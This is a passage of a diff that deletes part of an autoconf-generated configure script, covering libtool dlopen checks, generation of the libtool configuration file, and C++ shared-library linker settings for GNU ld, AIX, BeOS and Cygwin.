- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char shl_load ();
-int
-main ()
-{
-return shl_load ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_dld_shl_load=yes
-else
- ac_cv_lib_dld_shl_load=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_dld_shl_load" >&5
-$as_echo "$ac_cv_lib_dld_shl_load" >&6; }
-if test "x$ac_cv_lib_dld_shl_load" = xyes; then :
- lt_cv_dlopen="shl_load" lt_cv_dlopen_libs="-dld"
-else
- ac_fn_c_check_func "$LINENO" "dlopen" "ac_cv_func_dlopen"
-if test "x$ac_cv_func_dlopen" = xyes; then :
- lt_cv_dlopen="dlopen"
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for dlopen in -ldl" >&5
-$as_echo_n "checking for dlopen in -ldl... " >&6; }
-if ${ac_cv_lib_dl_dlopen+:} false; then :
- $as_echo_n "(cached) " >&6
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-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_dl_dlopen" >&5
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-{
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-
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-
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-
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- lt_status=$?
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- fi
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-
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-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_dlopen_self" >&5
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- if test "$cross_compiling" = yes; then :
- lt_cv_dlopen_self_static=cross
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- lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2
- lt_status=$lt_dlunknown
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-#line 10092 "configure"
-#include "confdefs.h"
-
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-#include <dlfcn.h>
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-
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-# define LT_DLGLOBAL RTLD_GLOBAL
-#else
-# ifdef DL_GLOBAL
-# define LT_DLGLOBAL DL_GLOBAL
-# else
-# define LT_DLGLOBAL 0
-# endif
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-
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-# ifdef RTLD_LAZY
-# define LT_DLLAZY_OR_NOW RTLD_LAZY
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-
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-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_dlopen_self_static" >&5
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-
- CPPFLAGS="$save_CPPFLAGS"
- LDFLAGS="$save_LDFLAGS"
- LIBS="$save_LIBS"
- ;;
- esac
-
- case $lt_cv_dlopen_self in
- yes|no) enable_dlopen_self=$lt_cv_dlopen_self ;;
- *) enable_dlopen_self=unknown ;;
- esac
-
- case $lt_cv_dlopen_self_static in
- yes|no) enable_dlopen_self_static=$lt_cv_dlopen_self_static ;;
- *) enable_dlopen_self_static=unknown ;;
- esac
-fi
-
-
-# Report which library types will actually be built
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if libtool supports shared libraries" >&5
-$as_echo_n "checking if libtool supports shared libraries... " >&6; }
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $can_build_shared" >&5
-$as_echo "$can_build_shared" >&6; }
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-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking whether to build shared libraries" >&5
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-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $enable_shared" >&5
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-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $enable_static" >&5
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- old_postinstall_cmds old_postuninstall_cmds \
- compiler \
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- lt_prog_compiler_pic \
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- export_dynamic_flag_spec \
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- old_archive_cmds \
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- predep_objects \
- postdep_objects \
- predeps \
- postdeps \
- compiler_lib_search_path \
- archive_cmds \
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- lt_cv_prog_compiler_c_o \
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- old_archive_from_new_cmds | \
- archive_cmds | \
- archive_expsym_cmds | \
- module_cmds | \
- module_expsym_cmds | \
- old_archive_from_expsyms_cmds | \
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-# Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001
-# Free Software Foundation, Inc.
-#
-# This file is part of GNU Libtool:
-# Originally by Gordon Matzigkeit <gord@gnu.ai.mit.edu>, 1996
-#
-# This program is free software; you can redistribute it and/or modify
-# it under the terms of the GNU General Public License as published by
-# the Free Software Foundation; either version 2 of the License, or
-# (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful, but
-# WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-# General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write to the Free Software
-# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
-#
-# As a special exception to the GNU General Public License, if you
-# distribute this file as part of a program that contains a
-# configuration script generated by Autoconf, you may include it under
-# the same distribution terms that you use for the rest of that program.
-
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-
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-
-# The HP-UX ksh and POSIX shell print the target directory to stdout
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-(unset CDPATH) >/dev/null 2>&1 && unset CDPATH
-
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-
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-
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-
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-
-# Whether or not to disallow shared libs when runtime libs are static
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-
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-
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-library_names_spec=$lt_library_names_spec
-
-# The coded name of the library, if different from the real name.
-soname_spec=$lt_soname_spec
-
-# Commands used to build and install an old-style archive.
-RANLIB=$lt_RANLIB
-old_archive_cmds=$lt_old_archive_cmds
-old_postinstall_cmds=$lt_old_postinstall_cmds
-old_postuninstall_cmds=$lt_old_postuninstall_cmds
-
-# Create an old-style archive from a shared archive.
-old_archive_from_new_cmds=$lt_old_archive_from_new_cmds
-
-# Create a temporary old-style archive to link instead of a shared archive.
-old_archive_from_expsyms_cmds=$lt_old_archive_from_expsyms_cmds
-
-# Commands used to build and install a shared archive.
-archive_cmds=$lt_archive_cmds
-archive_expsym_cmds=$lt_archive_expsym_cmds
-postinstall_cmds=$lt_postinstall_cmds
-postuninstall_cmds=$lt_postuninstall_cmds
-
-# Commands used to build a loadable module (assumed same as above if empty)
-module_cmds=$lt_module_cmds
-module_expsym_cmds=$lt_module_expsym_cmds
-
-# Commands to strip libraries.
-old_striplib=$lt_old_striplib
-striplib=$lt_striplib
-
-# Dependencies to place before the objects being linked to create a
-# shared library.
-predep_objects=$lt_predep_objects
-
-# Dependencies to place after the objects being linked to create a
-# shared library.
-postdep_objects=$lt_postdep_objects
-
-# Dependencies to place before the objects being linked to create a
-# shared library.
-predeps=$lt_predeps
-
-# Dependencies to place after the objects being linked to create a
-# shared library.
-postdeps=$lt_postdeps
-
-# The library search path used internally by the compiler when linking
-# a shared library.
-compiler_lib_search_path=$lt_compiler_lib_search_path
-
-# Method to check whether dependent libraries are shared objects.
-deplibs_check_method=$lt_deplibs_check_method
-
-# Command to use when deplibs_check_method == file_magic.
-file_magic_cmd=$lt_file_magic_cmd
-
-# Flag that allows shared libraries with undefined symbols to be built.
-allow_undefined_flag=$lt_allow_undefined_flag
-
-# Flag that forces no undefined symbols.
-no_undefined_flag=$lt_no_undefined_flag
-
-# Commands used to finish a libtool library installation in a directory.
-finish_cmds=$lt_finish_cmds
-
-# Same as above, but a single script fragment to be evaled but not shown.
-finish_eval=$lt_finish_eval
-
-# Take the output of nm and produce a listing of raw symbols and C names.
-global_symbol_pipe=$lt_lt_cv_sys_global_symbol_pipe
-
-# Transform the output of nm in a proper C declaration
-global_symbol_to_cdecl=$lt_lt_cv_sys_global_symbol_to_cdecl
-
-# Transform the output of nm in a C name address pair
-global_symbol_to_c_name_address=$lt_lt_cv_sys_global_symbol_to_c_name_address
-
-# This is the shared library runtime path variable.
-runpath_var=$runpath_var
-
-# This is the shared library path variable.
-shlibpath_var=$shlibpath_var
-
-# Is shlibpath searched before the hard-coded library search path?
-shlibpath_overrides_runpath=$shlibpath_overrides_runpath
-
-# How to hardcode a shared library path into an executable.
-hardcode_action=$hardcode_action
-
-# Whether we should hardcode library paths into libraries.
-hardcode_into_libs=$hardcode_into_libs
-
-# Flag to hardcode \$libdir into a binary during linking.
-# This must work even if \$libdir does not exist.
-hardcode_libdir_flag_spec=$lt_hardcode_libdir_flag_spec
-
-# If ld is used when linking, flag to hardcode \$libdir into
-# a binary during linking. This must work even if \$libdir does
-# not exist.
-hardcode_libdir_flag_spec_ld=$lt_hardcode_libdir_flag_spec_ld
-
-# Whether we need a single -rpath flag with a separated argument.
-hardcode_libdir_separator=$lt_hardcode_libdir_separator
-
-# Set to yes if using DIR/libNAME${shared_ext} during linking hardcodes DIR into the
-# resulting binary.
-hardcode_direct=$hardcode_direct
-
-# Set to yes if using the -LDIR flag during linking hardcodes DIR into the
-# resulting binary.
-hardcode_minus_L=$hardcode_minus_L
-
-# Set to yes if using SHLIBPATH_VAR=DIR during linking hardcodes DIR into
-# the resulting binary.
-hardcode_shlibpath_var=$hardcode_shlibpath_var
-
-# Set to yes if building a shared library automatically hardcodes DIR into the library
-# and all subsequent libraries and executables linked against it.
-hardcode_automatic=$hardcode_automatic
-
-# Variables whose values should be saved in libtool wrapper scripts and
-# restored at relink time.
-variables_saved_for_relink="$variables_saved_for_relink"
-
-# Whether libtool must link a program against all its dependency libraries.
-link_all_deplibs=$link_all_deplibs
-
-# Compile-time system search path for libraries
-sys_lib_search_path_spec=$lt_sys_lib_search_path_spec
-
-# Run-time system search path for libraries
-sys_lib_dlsearch_path_spec=$lt_sys_lib_dlsearch_path_spec
-
-# Fix the shell variable \$srcfile for the compiler.
-fix_srcfile_path="$fix_srcfile_path"
-
-# Set to yes if exported symbols are required.
-always_export_symbols=$always_export_symbols
-
-# The commands to list exported symbols.
-export_symbols_cmds=$lt_export_symbols_cmds
-
-# The commands to extract the exported symbol list from a shared archive.
-extract_expsyms_cmds=$lt_extract_expsyms_cmds
-
-# Symbols that should not be listed in the preloaded symbols.
-exclude_expsyms=$lt_exclude_expsyms
-
-# Symbols that must always be exported.
-include_expsyms=$lt_include_expsyms
-
-# ### END LIBTOOL CONFIG
-
-__EOF__
-
-
- case $host_os in
- aix3*)
- cat <<\EOF >> "$cfgfile"
-
-# AIX sometimes has problems with the GCC collect2 program. For some
-# reason, if we set the COLLECT_NAMES environment variable, the problems
-# vanish in a puff of smoke.
-if test "X${COLLECT_NAMES+set}" != Xset; then
- COLLECT_NAMES=
- export COLLECT_NAMES
-fi
-EOF
- ;;
- esac
-
- # We use sed instead of cat because bash on DJGPP gets confused if
- # if finds mixed CR/LF and LF-only lines. Since sed operates in
- # text mode, it properly converts lines to CR/LF. This bash problem
- # is reportedly fixed, but why not run on old versions too?
- sed '$q' "$ltmain" >> "$cfgfile" || (rm -f "$cfgfile"; exit 1)
-
- mv -f "$cfgfile" "$ofile" || \
- (rm -f "$ofile" && cp "$cfgfile" "$ofile" && rm -f "$cfgfile")
- chmod +x "$ofile"
-
-else
- # If there is no Makefile yet, we rely on a make rule to execute
- # `config.status --recheck' to rerun these tests and create the
- # libtool script then.
- ltmain_in=`echo $ltmain | sed -e 's/\.sh$/.in/'`
- if test -f "$ltmain_in"; then
- test -f Makefile && make "$ltmain"
- fi
-fi
-
-
-ac_ext=c
-ac_cpp='$CPP $CPPFLAGS'
-ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5'
-ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5'
-ac_compiler_gnu=$ac_cv_c_compiler_gnu
-
-CC="$lt_save_CC"
-
-
-# Check whether --with-tags was given.
-if test "${with_tags+set}" = set; then :
- withval=$with_tags; tagnames="$withval"
-fi
-
-
-if test -f "$ltmain" && test -n "$tagnames"; then
- if test ! -f "${ofile}"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: output file \`$ofile' does not exist" >&5
-$as_echo "$as_me: WARNING: output file \`$ofile' does not exist" >&2;}
- fi
-
- if test -z "$LTCC"; then
- eval "`$SHELL ${ofile} --config | grep '^LTCC='`"
- if test -z "$LTCC"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: output file \`$ofile' does not look like a libtool script" >&5
-$as_echo "$as_me: WARNING: output file \`$ofile' does not look like a libtool script" >&2;}
- else
- { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using \`LTCC=$LTCC', extracted from \`$ofile'" >&5
-$as_echo "$as_me: WARNING: using \`LTCC=$LTCC', extracted from \`$ofile'" >&2;}
- fi
- fi
- if test -z "$LTCFLAGS"; then
- eval "`$SHELL ${ofile} --config | grep '^LTCFLAGS='`"
- fi
-
- # Extract list of available tagged configurations in $ofile.
- # Note that this assumes the entire list is on one line.
- available_tags=`grep "^available_tags=" "${ofile}" | $SED -e 's/available_tags=\(.*$\)/\1/' -e 's/\"//g'`
-
- lt_save_ifs="$IFS"; IFS="${IFS}$PATH_SEPARATOR,"
- for tagname in $tagnames; do
- IFS="$lt_save_ifs"
- # Check whether tagname contains only valid characters
- case `$echo "X$tagname" | $Xsed -e 's:[-_ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890,/]::g'` in
- "") ;;
- *) as_fn_error $? "invalid tag name: $tagname" "$LINENO" 5
- ;;
- esac
-
- if grep "^# ### BEGIN LIBTOOL TAG CONFIG: $tagname$" < "${ofile}" > /dev/null
- then
- as_fn_error $? "tag name \"$tagname\" already exists" "$LINENO" 5
- fi
-
- # Update the list of available tags.
- if test -n "$tagname"; then
- echo appending configuration tag \"$tagname\" to $ofile
-
- case $tagname in
- CXX)
- if test -n "$CXX" && ( test "X$CXX" != "Xno" &&
- ( (test "X$CXX" = "Xg++" && `g++ -v >/dev/null 2>&1` ) ||
- (test "X$CXX" != "Xg++"))) ; then
- ac_ext=cpp
-ac_cpp='$CXXCPP $CPPFLAGS'
-ac_compile='$CXX -c $CXXFLAGS $CPPFLAGS conftest.$ac_ext >&5'
-ac_link='$CXX -o conftest$ac_exeext $CXXFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5'
-ac_compiler_gnu=$ac_cv_cxx_compiler_gnu
-
-
-
-
-archive_cmds_need_lc_CXX=no
-allow_undefined_flag_CXX=
-always_export_symbols_CXX=no
-archive_expsym_cmds_CXX=
-export_dynamic_flag_spec_CXX=
-hardcode_direct_CXX=no
-hardcode_libdir_flag_spec_CXX=
-hardcode_libdir_flag_spec_ld_CXX=
-hardcode_libdir_separator_CXX=
-hardcode_minus_L_CXX=no
-hardcode_shlibpath_var_CXX=unsupported
-hardcode_automatic_CXX=no
-module_cmds_CXX=
-module_expsym_cmds_CXX=
-link_all_deplibs_CXX=unknown
-old_archive_cmds_CXX=$old_archive_cmds
-no_undefined_flag_CXX=
-whole_archive_flag_spec_CXX=
-enable_shared_with_static_runtimes_CXX=no
-
-# Dependencies to place before and after the object being linked:
-predep_objects_CXX=
-postdep_objects_CXX=
-predeps_CXX=
-postdeps_CXX=
-compiler_lib_search_path_CXX=
-
-# Source file extension for C++ test sources.
-ac_ext=cpp
-
-# Object file extension for compiled C++ test sources.
-objext=o
-objext_CXX=$objext
-
-# Code to be used in simple compile tests
-lt_simple_compile_test_code="int some_variable = 0;\n"
-
-# Code to be used in simple link tests
-lt_simple_link_test_code='int main(int, char *[]) { return(0); }\n'
-
-# ltmain only uses $CC for tagged configurations so make sure $CC is set.
-
-# If no C compiler was specified, use CC.
-LTCC=${LTCC-"$CC"}
-
-# If no C compiler flags were specified, use CFLAGS.
-LTCFLAGS=${LTCFLAGS-"$CFLAGS"}
-
-# Allow CC to be a program name with arguments.
-compiler=$CC
-
-
-# save warnings/boilerplate of simple test code
-ac_outfile=conftest.$ac_objext
-printf "$lt_simple_compile_test_code" >conftest.$ac_ext
-eval "$ac_compile" 2>&1 >/dev/null | $SED '/^$/d; /^ *+/d' >conftest.err
-_lt_compiler_boilerplate=`cat conftest.err`
-$rm conftest*
-
-ac_outfile=conftest.$ac_objext
-printf "$lt_simple_link_test_code" >conftest.$ac_ext
-eval "$ac_link" 2>&1 >/dev/null | $SED '/^$/d; /^ *+/d' >conftest.err
-_lt_linker_boilerplate=`cat conftest.err`
-$rm conftest*
-
-
-# Allow CC to be a program name with arguments.
-lt_save_CC=$CC
-lt_save_LD=$LD
-lt_save_GCC=$GCC
-GCC=$GXX
-lt_save_with_gnu_ld=$with_gnu_ld
-lt_save_path_LD=$lt_cv_path_LD
-if test -n "${lt_cv_prog_gnu_ldcxx+set}"; then
- lt_cv_prog_gnu_ld=$lt_cv_prog_gnu_ldcxx
-else
- $as_unset lt_cv_prog_gnu_ld
-fi
-if test -n "${lt_cv_path_LDCXX+set}"; then
- lt_cv_path_LD=$lt_cv_path_LDCXX
-else
- $as_unset lt_cv_path_LD
-fi
-test -z "${LDCXX+set}" || LD=$LDCXX
-CC=${CXX-"c++"}
-compiler=$CC
-compiler_CXX=$CC
-for cc_temp in $compiler""; do
- case $cc_temp in
- compile | *[\\/]compile | ccache | *[\\/]ccache ) ;;
- distcc | *[\\/]distcc | purify | *[\\/]purify ) ;;
- \-*) ;;
- *) break;;
- esac
-done
-cc_basename=`$echo "X$cc_temp" | $Xsed -e 's%.*/%%' -e "s%^$host_alias-%%"`
-
-
-# We don't want -fno-exception wen compiling C++ code, so set the
-# no_builtin_flag separately
-if test "$GXX" = yes; then
- lt_prog_compiler_no_builtin_flag_CXX=' -fno-builtin'
-else
- lt_prog_compiler_no_builtin_flag_CXX=
-fi
-
-if test "$GXX" = yes; then
- # Set up default GNU C++ configuration
-
-
-# Check whether --with-gnu-ld was given.
-if test "${with_gnu_ld+set}" = set; then :
- withval=$with_gnu_ld; test "$withval" = no || with_gnu_ld=yes
-else
- with_gnu_ld=no
-fi
-
-ac_prog=ld
-if test "$GCC" = yes; then
- # Check if gcc -print-prog-name=ld gives a path.
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for ld used by $CC" >&5
-$as_echo_n "checking for ld used by $CC... " >&6; }
- case $host in
- *-*-mingw*)
- # gcc leaves a trailing carriage return which upsets mingw
- ac_prog=`($CC -print-prog-name=ld) 2>&5 | tr -d '\015'` ;;
- *)
- ac_prog=`($CC -print-prog-name=ld) 2>&5` ;;
- esac
- case $ac_prog in
- # Accept absolute paths.
- [\\/]* | ?:[\\/]*)
- re_direlt='/[^/][^/]*/\.\./'
- # Canonicalize the pathname of ld
- ac_prog=`echo $ac_prog| $SED 's%\\\\%/%g'`
- while echo $ac_prog | grep "$re_direlt" > /dev/null 2>&1; do
- ac_prog=`echo $ac_prog| $SED "s%$re_direlt%/%"`
- done
- test -z "$LD" && LD="$ac_prog"
- ;;
- "")
- # If it fails, then pretend we aren't using GCC.
- ac_prog=ld
- ;;
- *)
- # If it is relative, then search for the first ld in PATH.
- with_gnu_ld=unknown
- ;;
- esac
-elif test "$with_gnu_ld" = yes; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for GNU ld" >&5
-$as_echo_n "checking for GNU ld... " >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for non-GNU ld" >&5
-$as_echo_n "checking for non-GNU ld... " >&6; }
-fi
-if ${lt_cv_path_LD+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- if test -z "$LD"; then
- lt_save_ifs="$IFS"; IFS=$PATH_SEPARATOR
- for ac_dir in $PATH; do
- IFS="$lt_save_ifs"
- test -z "$ac_dir" && ac_dir=.
- if test -f "$ac_dir/$ac_prog" || test -f "$ac_dir/$ac_prog$ac_exeext"; then
- lt_cv_path_LD="$ac_dir/$ac_prog"
- # Check to see if the program is GNU ld. I'd rather use --version,
- # but apparently some variants of GNU ld only accept -v.
- # Break only if it was the GNU/non-GNU ld that we prefer.
- case `"$lt_cv_path_LD" -v 2>&1 </dev/null` in
- *GNU* | *'with BFD'*)
- test "$with_gnu_ld" != no && break
- ;;
- *)
- test "$with_gnu_ld" != yes && break
- ;;
- esac
- fi
- done
- IFS="$lt_save_ifs"
-else
- lt_cv_path_LD="$LD" # Let the user override the test with a path.
-fi
-fi
-
-LD="$lt_cv_path_LD"
-if test -n "$LD"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $LD" >&5
-$as_echo "$LD" >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
-fi
-test -z "$LD" && as_fn_error $? "no acceptable ld found in \$PATH" "$LINENO" 5
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if the linker ($LD) is GNU ld" >&5
-$as_echo_n "checking if the linker ($LD) is GNU ld... " >&6; }
-if ${lt_cv_prog_gnu_ld+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- # I'd rather use --version here, but apparently some GNU lds only accept -v.
-case `$LD -v 2>&1 </dev/null` in
-*GNU* | *'with BFD'*)
- lt_cv_prog_gnu_ld=yes
- ;;
-*)
- lt_cv_prog_gnu_ld=no
- ;;
-esac
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_prog_gnu_ld" >&5
-$as_echo "$lt_cv_prog_gnu_ld" >&6; }
-with_gnu_ld=$lt_cv_prog_gnu_ld
-
-
-
- # Check if GNU C++ uses GNU ld as the underlying linker, since the
- # archiving commands below assume that GNU ld is being used.
- if test "$with_gnu_ld" = yes; then
- archive_cmds_CXX='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $wl$soname -o $lib'
- archive_expsym_cmds_CXX='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
-
- hardcode_libdir_flag_spec_CXX='${wl}--rpath ${wl}$libdir'
- export_dynamic_flag_spec_CXX='${wl}--export-dynamic'
-
- # If archive_cmds runs LD, not CC, wlarc should be empty
- # XXX I think wlarc can be eliminated in ltcf-cxx, but I need to
- # investigate it a little bit more. (MM)
- wlarc='${wl}'
-
- # ancient GNU ld didn't support --whole-archive et. al.
- if eval "`$CC -print-prog-name=ld` --help 2>&1" | \
- grep 'no-whole-archive' > /dev/null; then
- whole_archive_flag_spec_CXX="$wlarc"'--whole-archive$convenience '"$wlarc"'--no-whole-archive'
- else
- whole_archive_flag_spec_CXX=
- fi
- else
- with_gnu_ld=no
- wlarc=
-
- # A generic and very simple default shared library creation
- # command for GNU C++ for the case where it uses the native
- # linker, instead of GNU ld. If possible, this setting should
- # overridden to take advantage of the native linker features on
- # the platform it is being used on.
- archive_cmds_CXX='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $lib'
- fi
-
- # Commands to make compiler produce verbose output that lists
- # what "hidden" libraries, object files and flags are used when
- # linking a shared library.
- output_verbose_link_cmd='$CC -shared $CFLAGS -v conftest.$objext 2>&1 | grep "\-L"'
-
-else
- GXX=no
- with_gnu_ld=no
- wlarc=
-fi
-
-# PORTME: fill in a description of your system's C++ link characteristics
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking whether the $compiler linker ($LD) supports shared libraries" >&5
-$as_echo_n "checking whether the $compiler linker ($LD) supports shared libraries... " >&6; }
-ld_shlibs_CXX=yes
-case $host_os in
- aix3*)
- # FIXME: insert proper C++ library support
- ld_shlibs_CXX=no
- ;;
- aix4* | aix5*)
- if test "$host_cpu" = ia64; then
- # On IA64, the linker does run time linking by default, so we don't
- # have to do anything special.
- aix_use_runtimelinking=no
- exp_sym_flag='-Bexport'
- no_entry_flag=""
- else
- aix_use_runtimelinking=no
-
- # Test if we are trying to use run time linking or normal
- # AIX style linking. If -brtl is somewhere in LDFLAGS, we
- # need to do runtime linking.
- case $host_os in aix4.[23]|aix4.[23].*|aix5*)
- for ld_flag in $LDFLAGS; do
- case $ld_flag in
- *-brtl*)
- aix_use_runtimelinking=yes
- break
- ;;
- esac
- done
- ;;
- esac
-
- exp_sym_flag='-bexport'
- no_entry_flag='-bnoentry'
- fi
-
- # When large executables or shared objects are built, AIX ld can
- # have problems creating the table of contents. If linking a library
- # or program results in "error TOC overflow" add -mminimal-toc to
- # CXXFLAGS/CFLAGS for g++/gcc. In the cases where that is not
- # enough to fix the problem, add -Wl,-bbigtoc to LDFLAGS.
-
- archive_cmds_CXX=''
- hardcode_direct_CXX=yes
- hardcode_libdir_separator_CXX=':'
- link_all_deplibs_CXX=yes
-
- if test "$GXX" = yes; then
- case $host_os in aix4.[012]|aix4.[012].*)
- # We only want to do this on AIX 4.2 and lower, the check
- # below for broken collect2 doesn't work under 4.3+
- collect2name=`${CC} -print-prog-name=collect2`
- if test -f "$collect2name" && \
- strings "$collect2name" | grep resolve_lib_name >/dev/null
- then
- # We have reworked collect2
- hardcode_direct_CXX=yes
- else
- # We have old collect2
- hardcode_direct_CXX=unsupported
- # It fails to find uninstalled libraries when the uninstalled
- # path is not listed in the libpath. Setting hardcode_minus_L
- # to unsupported forces relinking
- hardcode_minus_L_CXX=yes
- hardcode_libdir_flag_spec_CXX='-L$libdir'
- hardcode_libdir_separator_CXX=
- fi
- ;;
- esac
- shared_flag='-shared'
- if test "$aix_use_runtimelinking" = yes; then
- shared_flag="$shared_flag "'${wl}-G'
- fi
- else
- # not using gcc
- if test "$host_cpu" = ia64; then
- # VisualAge C++, Version 5.5 for AIX 5L for IA-64, Beta 3 Release
- # chokes on -Wl,-G. The following line is correct:
- shared_flag='-G'
- else
- if test "$aix_use_runtimelinking" = yes; then
- shared_flag='${wl}-G'
- else
- shared_flag='${wl}-bM:SRE'
- fi
- fi
- fi
-
- # It seems that -bexpall does not export symbols beginning with
- # underscore (_), so it is better to generate a list of symbols to export.
- always_export_symbols_CXX=yes
- if test "$aix_use_runtimelinking" = yes; then
- # Warning - without using the other runtime loading flags (-brtl),
- # -berok will link without error, but may produce a broken library.
- allow_undefined_flag_CXX='-berok'
- # Determine the default libpath from the value encoded in an empty executable.
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-int
-main ()
-{
-
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_cxx_try_link "$LINENO"; then :
-
-aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; }
-}'`
-# Check for a 64-bit object if we didn't find anything.
-if test -z "$aix_libpath"; then aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; }
-}'`; fi
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-
- hardcode_libdir_flag_spec_CXX='${wl}-blibpath:$libdir:'"$aix_libpath"
-
- archive_expsym_cmds_CXX="\$CC"' -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags `if test "x${allow_undefined_flag}" != "x"; then echo "${wl}${allow_undefined_flag}"; else :; fi` '"\${wl}$exp_sym_flag:\$export_symbols $shared_flag"
- else
- if test "$host_cpu" = ia64; then
- hardcode_libdir_flag_spec_CXX='${wl}-R $libdir:/usr/lib:/lib'
- allow_undefined_flag_CXX="-z nodefs"
- archive_expsym_cmds_CXX="\$CC $shared_flag"' -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags ${wl}${allow_undefined_flag} '"\${wl}$exp_sym_flag:\$export_symbols"
- else
- # Determine the default libpath from the value encoded in an empty executable.
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-int
-main ()
-{
-
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_cxx_try_link "$LINENO"; then :
-
-aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; }
-}'`
-# Check for a 64-bit object if we didn't find anything.
-if test -z "$aix_libpath"; then aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; }
-}'`; fi
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-
- hardcode_libdir_flag_spec_CXX='${wl}-blibpath:$libdir:'"$aix_libpath"
- # Warning - without using the other run time loading flags,
- # -berok will link without error, but may produce a broken library.
- no_undefined_flag_CXX=' ${wl}-bernotok'
- allow_undefined_flag_CXX=' ${wl}-berok'
- # Exported symbols can be pulled into shared objects from archives
- whole_archive_flag_spec_CXX='$convenience'
- archive_cmds_need_lc_CXX=yes
- # This is similar to how AIX traditionally builds its shared libraries.
- archive_expsym_cmds_CXX="\$CC $shared_flag"' -o $output_objdir/$soname $libobjs $deplibs ${wl}-bnoentry $compiler_flags ${wl}-bE:$export_symbols${allow_undefined_flag}~$AR $AR_FLAGS $output_objdir/$libname$release.a $output_objdir/$soname'
- fi
- fi
- ;;
-
- beos*)
- if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then
- allow_undefined_flag_CXX=unsupported
- # Joseph Beckenbach <jrb3@best.com> says some releases of gcc
- # support --undefined. This deserves some investigation. FIXME
- archive_cmds_CXX='$CC -nostart $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
- else
- ld_shlibs_CXX=no
- fi
- ;;
-
- chorus*)
- case $cc_basename in
- *)
- # FIXME: insert proper C++ library support
- ld_shlibs_CXX=no
- ;;
- esac
- ;;
-
- cygwin* | mingw* | pw32*)
- # _LT_AC_TAGVAR(hardcode_libdir_flag_spec, CXX) is actually meaningless,
- # as there is no search path for DLLs.
- hardcode_libdir_flag_spec_CXX='-L$libdir'
- allow_undefined_flag_CXX=unsupported
- always_export_symbols_CXX=no
- enable_shared_with_static_runtimes_CXX=yes
-
- if $LD --help 2>&1 | grep 'auto-import' > /dev/null; then
- archive_cmds_CXX='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
